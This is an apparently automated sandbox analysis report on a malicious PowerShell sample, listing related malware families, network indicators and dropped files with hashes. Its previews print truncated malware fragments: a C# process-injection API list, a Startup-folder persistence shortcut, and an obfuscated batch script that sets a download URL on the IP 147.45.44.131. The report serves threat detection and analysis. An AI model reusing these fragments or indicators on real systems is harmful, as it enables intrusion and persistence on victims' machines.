	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	LZUCldA1ro.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	4HbZBsYZ48.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	DUD6CqQ1Uj.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	199.232.214.172
	JP1KbvjWcM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.210.172
	cZO.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	jaTDEkWCbs.exe	Get hash	malicious	Quasar	Browse	199.232.210.172
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	N5kEzgUBn6.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	199.232.214.172
	Tax_Refund_Claim_2024_Australian_Taxation_Office.js	Get hash	malicious	Remcos	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FCNUniversityPublicCorporationOsakaJP	2.elf	Get hash	malicious	Unknown	Browse	157.20.21.173
	1.elf	Get hash	malicious	Unknown	Browse	163.227.34.197
	2.elf	Get hash	malicious	Unknown	Browse	157.16.228.170
	2.elf	Get hash	malicious	Unknown	Browse	157.16.228.178
	iviewers.dll	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	157.16.83.250
FREE-NET-ASFREEnetEU	boatnet.x86.elf	Get hash	malicious	Mirai	Browse	147.45.124.49
	147.45.124.49-boatnet.ppc-2025-01-06T05_00_23.elf	Get hash	malicious	Mirai	Browse	147.45.124.49
	147.45.124.49-boatnet.spc-2025-01-06T04_15_18.elf	Get hash	malicious	Mirai	Browse	147.45.124.49
	Aura.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	147.45.47.81
	cZO.exe	Get hash	malicious	Unknown	Browse	193.233.193.76
	iviewers.dll	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	wrcaf.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	iubn.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	rwvg1.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.253995428229511
Encrypted:	false
SSDEEP:	6:kKFeb3l99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:w2DImsLNkPlE99SNxAhUe/3
MD5:	587B9EF2AAC3297414D292DA9E81FFE3
SHA1:	A728FA2FAA171502CA8071F8D58C012A8264A806
SHA-256:	459059F73CDFFDF536F6C90B3D91450C870841AAC9570AB4C2B407F798544005
SHA-512:	FD2A7D44901555BC7361686CD67CFDEF34E531B67A8B31185526B4AA5D46AEF615A6EF17A625EBC5D111C614DE8A165EC3177B62EEFC7A03EE3F6DBEB8526D22
Malicious:	false
Preview:	p...... ..........+\|.`..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2836
Entropy (8bit):	5.415312770510031
Encrypted:	false
SSDEEP:	48:5AzsSU4fv4RYymFoUeCa+m9qr9t5/78NRHGGxJZKaVEouYAgwd64rHLjtvo:5AzlH3IYvKLz9qrh7KRfJ5Eo9Adrxo
MD5:	FEAEE44FB0E7303C70E85B6219AD68AF
SHA1:	99762DDC9D220BD17238A3A0DAFF31C90236E629
SHA-256:	B334D2B291CCA556EE980CF2B1D38311A2C34F226F58DD58D7C24E694222AE1D
SHA-512:	B682D2452F98998FFA5D1824D6625930F15C220650866EF7FD638A8B98A617D7965B62619D5F0DBC86DD542EEC634301F7BC410F578DE2C78A3D301DD1C9E921
Malicious:	false
Preview:	@...e...........................................................H..............@-....f.J.\|.7h8..-.......Microsoft.Powershell.PSReadline.H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.8.................C}...C....n..Bi.......Microsoft.CSharpP...............

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\RES91A5.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Mon Jan 6 08:32:17 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9924541178103556
Encrypted:	false
SSDEEP:	24:H6FzW916ku9HpwKqxmNII+ycuZhNYakSkPNnqS2d:GkMyKqxmu1ulYa3kqSG
MD5:	1ABC137A0EB09370BB10F8B3AF3D7FF5
SHA1:	FA66CA0B30D8C4221E33DCE897B4D3F619C502B7
SHA-256:	6EF46E8F11AC130A2DCB8CB29F41C5B1C1DF873DBB0450A933486F9A2D498876
SHA-512:	115671FE9E9DB9CEF45BC9ACABA5F3D6EB3ED4BCE772CB586DA6DF5B26BDE2021B74A30068E505E0D4C80982C2D562D8E03CFE914E0D1BE05B0B3CBE7515DF49
Malicious:	false
Preview:	L.....{g.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP...............;..D...sH\|..9U...........5.......C:\Users\user\AppData\Local\Temp\RES91A5.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.v.m.1.a.c.b.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_alcl214o.vqp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hukhe1bd.32s.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbvfzypb.syl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sya3bcg0.ekh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\ivm1acbc\CSC3984141EEAB441BDB4B78998253F3D3.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0984744595300207
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grymak7YnqqkPN5Dlq5J:+RI+ycuZhNYakSkPNnqX
MD5:	3BA0D7A744C7E2DA73487C0FFE3955DE
SHA1:	B75A2B02F7682F5BF2700AF3771060F7FBE281FF
SHA-256:	C9044AB316DF7C87981EBFE20B9ED3C85ACA68485DD7660DFE712828EC6A9261
SHA-512:	062B4501682812EE569D9A71160BE5492A5DE3F0747816D69BC29EABDF866AACD5CF1EF5538CC1E1E102CCCBD0E26D584B914823953E617E915493A695205E71
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...i.v.m.1.a.c.b.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...i.v.m.1.a.c.b.c...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11064
Entropy (8bit):	4.546904516615634
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6GbT:2oYLoH97t/Z7pgjvzf5RbT
MD5:	F8284F43AA8E48242DFF1CAD24736FCD
SHA1:	BA8C41BC6175185A0BDBF8778DF92E66A7029C65
SHA-256:	E12C8C4A47176808B9117EC2AA27C2AFAF4BDDDCD2F60EEA48696AA7DAA747F6
SHA-512:	4E84606D99D853F915662FFC996AC426FE7F02E90009F58C25A07C86BC84120C7D26DD2BFEE3EFC78099AF7E729A5A6D27C611147EB64F908A9B58CAA0A6B69C
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	206
Entropy (8bit):	4.989220555243274
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2923fMuNJLGzxszI923fMuNJLQA:p37L/6Kzku3LGwku3LQA
MD5:	5DD42507B9EA34E15DD3FCDD0C21A728
SHA1:	B27FE5D5F25E0BF32389C9F99D106CAF2C231E6A
SHA-256:	0B58F9A3532FD71AF8FDD1A1DE0A1F805F8C748A3407E991AF640942D01F99ED
SHA-512:	979C8E7924AB886C36498715F7BCD13D2F31DED80748F05EE003119D879D023E2DC3A25BF9F64A10E617BA3A8AE0822917A2870D0965241623641CD9A9DC056C
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.0.cs"

C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.6285852884967325
Encrypted:	false
SSDEEP:	192:jRH6HN4QhfNQ8q8888yYAdBRjOaoUxRa95MqBYXeN45Y:qNxNB9On+a95MqvS5Y
MD5:	24F00C22D98B0AE60726BA0A86110C15
SHA1:	EA4D270FAC2F3DBEE2A942B0C4092FF142495E8E
SHA-256:	414E8FA64E6EB1023561201073894F94CF0EEF0276033F071E930D8340D0CEF6
SHA-512:	5036AD4AF6EBB8A7092522E929E5E4E54B40CDA00DD0A0F12C6905B8520C95F5C3478ECD31016546693ECD213E427A9CB0811EA6BCC0C36128870A249C27E02D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{g...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.out

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	707
Entropy (8bit):	5.234062640943847
Encrypted:	false
SSDEEP:	12:KMi/IR37L/6Kzku3LGwku3LQ1KaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KMoIdn6Kzku3LLku3LaKax5DqBVKVrdV
MD5:	9F91BCD9069B85C7561BE63B075DF2AB
SHA1:	26AE766692DE2E1034144865C02020D2232935D0
SHA-256:	F98BF21A7C2256F3B6D40D3EE520F749E08531AF96B55CA986095D0A0863FA38
SHA-512:	56568D5CAFCA93EB0D3BF9FB1ACD8FBFD760505AAE24ECA53484AB96F4DF1C7D3F9585046D800BC27BE3537A2BE25E5AA42E85DB458204802D6F108A8694C9D7
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\ivm1acbc\ivm1acbc.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.6993782796835153
Encrypted:	false
SSDEEP:	48:ibKzOCFbU2K+4sukvhkvklCyw3n26oTVlzCSogZoqaoTVl/CSogZoe1:+SOCWoskvhkvCCt9oTVFHeoTVxHN
MD5:	DCAF9006688BD151D96226D6EE86FA44
SHA1:	1C110EC093BEF192E65B50B71238ED5B0DD0C968
SHA-256:	1551D7E45F3A631D7EB28AFA1E0F3A036EAB0E0FD236C5D6998FCCFE23EA12C4
SHA-512:	AF4F2E56A99D678D84292F38EDB784AA8E441DBDDDEB5A9CF5A9D9769B3A7B5868B26E0BBB9553FBF42F251E58347BF881D31316663ED040E8DEDCBBDAF4CF39
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........s.`..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M........o.`..b..s.`......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl&ZV7....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....&ZY7..Roaming.@......DWSl&ZY7....C.........................R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl&ZV7....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl&ZV7....E.....................Y.(.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl&ZV7....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl&ZV7....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl&Z\7....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OOUQQZJW7MZMYKIM5EDP.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6222
Entropy (8bit):	3.6993782796835153
Encrypted:	false
SSDEEP:	48:ibKzOCFbU2K+4sukvhkvklCyw3n26oTVlzCSogZoqaoTVl/CSogZoe1:+SOCWoskvhkvCCt9oTVFHeoTVxHN
MD5:	DCAF9006688BD151D96226D6EE86FA44
SHA1:	1C110EC093BEF192E65B50B71238ED5B0DD0C968
SHA-256:	1551D7E45F3A631D7EB28AFA1E0F3A036EAB0E0FD236C5D6998FCCFE23EA12C4
SHA-512:	AF4F2E56A99D678D84292F38EDB784AA8E441DBDDDEB5A9CF5A9D9769B3A7B5868B26E0BBB9553FBF42F251E58347BF881D31316663ED040E8DEDCBBDAF4CF39
Malicious:	false
Preview:	...................................FL..................F.".. ...d.........s.`..z.:{.............................:..DG..Yr?.D..U..k0.&...&...... M........o.`..b..s.`......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl&ZV7....B.....................Bdg.A.p.p.D.a.t.a...B.V.1.....&ZY7..Roaming.@......DWSl&ZY7....C.........................R.o.a.m.i.n.g.....\.1.....DW.q..MICROS~1..D......DWSl&ZV7....D.....................sy%.M.i.c.r.o.s.o.f.t.....V.1.....DW.r..Windows.@......DWSl&ZV7....E.....................Y.(.W.i.n.d.o.w.s.......1.....DWUl..STARTM~1..n......DWSl&ZV7....G...............D......a..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DWWn..Programs..j......DWSl&ZV7....H...............@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......DWSlDWSl....I.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......DWSl&Z\7....q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:///C:\Windows\Temp\Package.bat>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	61
Entropy (8bit):	5.008789289078828
Encrypted:	false
SSDEEP:	3:HRAbABGQYm5sMsgSFvn:HRYFVmyMsVV
MD5:	2EC8042B0CBCD9974BA720AF2A192154
SHA1:	49506455B01B23DB47EBF99DD02226ECA8F8752A
SHA-256:	98573F540134FAF5C17338716778337307BD097045D8E482526411B1FB283E83
SHA-512:	AAA950B978F66A8EA0685D592FC9852CBAE8CACB6FFD93FF1B649C744365FDC2B98BFB69A2169202FEB455645FCCF996723A750C865CE1EEB0BD05BB881AC95B
Malicious:	true
Preview:	[InternetShortcut]..URL=file:///C:\Windows\Temp\Package.bat..

C:\Windows\Temp\Package.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1100), with CRLF line terminators
Category:	dropped
Size (bytes):	6583
Entropy (8bit):	4.30808278266965
Encrypted:	false
SSDEEP:	192:FmwTkLkddbm3vkwKvMm3LhWRvcJT337Zkk63sF3veF33F6g6kSFdk7K8mk3RsDFt:1tn
MD5:	7D114767C61B02C367594D9E16FA6B84
SHA1:	6C1C764EE6BC0C1981B9A4E85EB8177FD794B83A
SHA-256:	760E3C5B13C9B690688F88302231EE4BE211A520D93D19D5A2617F85AB7B26CC
SHA-512:	5924B1428545B43AD22AA9CF19ACFCD77061BD306A8CDA3DF7DE3F2FB52214AB7F278180F852B88A44438E1FC16D459C6D442B5C655D798EC0A544F31E5ED7D9
Malicious:	true
Preview:	@%.......%e%.......%c%.......%h%.......%o%.......% %.......%o%.......%f%.......%f%.......%..s%.......%e%.......%t%.......%l%.......%o%.......%c%.......%a%.......%l%.......%....s%.......%e%.......%t%.......% %.......%"%.......%u%.......%r%.......%l%.......%=%.......%h%.......%t%.......%t%.......%p%.......%:%.......%/%.......%/%.......%1%.......%4%.......%7%.......%.%.......%4%.......%5%.......%.%.......%4%.......%4%.......%.%.......%1%.......%3%.......%1%.......%/%.......%i%...

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.4665861562687095
TrID:
File name:	CKi4EZWZsC.ps1
File size:	741 bytes
MD5:	f7181e485d0bc7cd60c3bd41ec47a038
SHA1:	7f5e8af401b1a3adeddacf7c94acba89130b3407
SHA256:	616666d9b60d1c211b76fac927651e82dbe9fc4d62d296b7e55950ab56cdf2a5
SHA512:	f25d0bbc9f2ca3571207fe2fd7070275c266d71476f2f62b6ba211e49e5a1c730ef40c7d0a72168e4395a9ae1b235881b678d389bded12097fa8bae1b9fcc79f
